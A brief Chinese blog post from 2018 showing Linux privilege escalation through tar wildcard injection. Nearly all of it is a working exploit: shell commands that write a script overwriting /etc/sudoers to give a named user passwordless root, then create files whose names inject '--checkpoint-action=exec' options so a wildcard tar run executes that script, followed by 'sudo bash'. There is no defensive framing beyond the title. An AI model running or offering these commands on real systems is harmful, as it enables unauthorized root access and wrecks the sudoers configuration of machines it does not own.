linux普通用户提权

tar通配符注入.

echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh

echo "" > "--checkpoint-action=exec=sh demo.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

sudo -l
sudo bash
whoami

如下所示

 

posted @ 2018-07-26 11:04  扶苏公子x  阅读(1037)  评论(0编辑  收藏  举报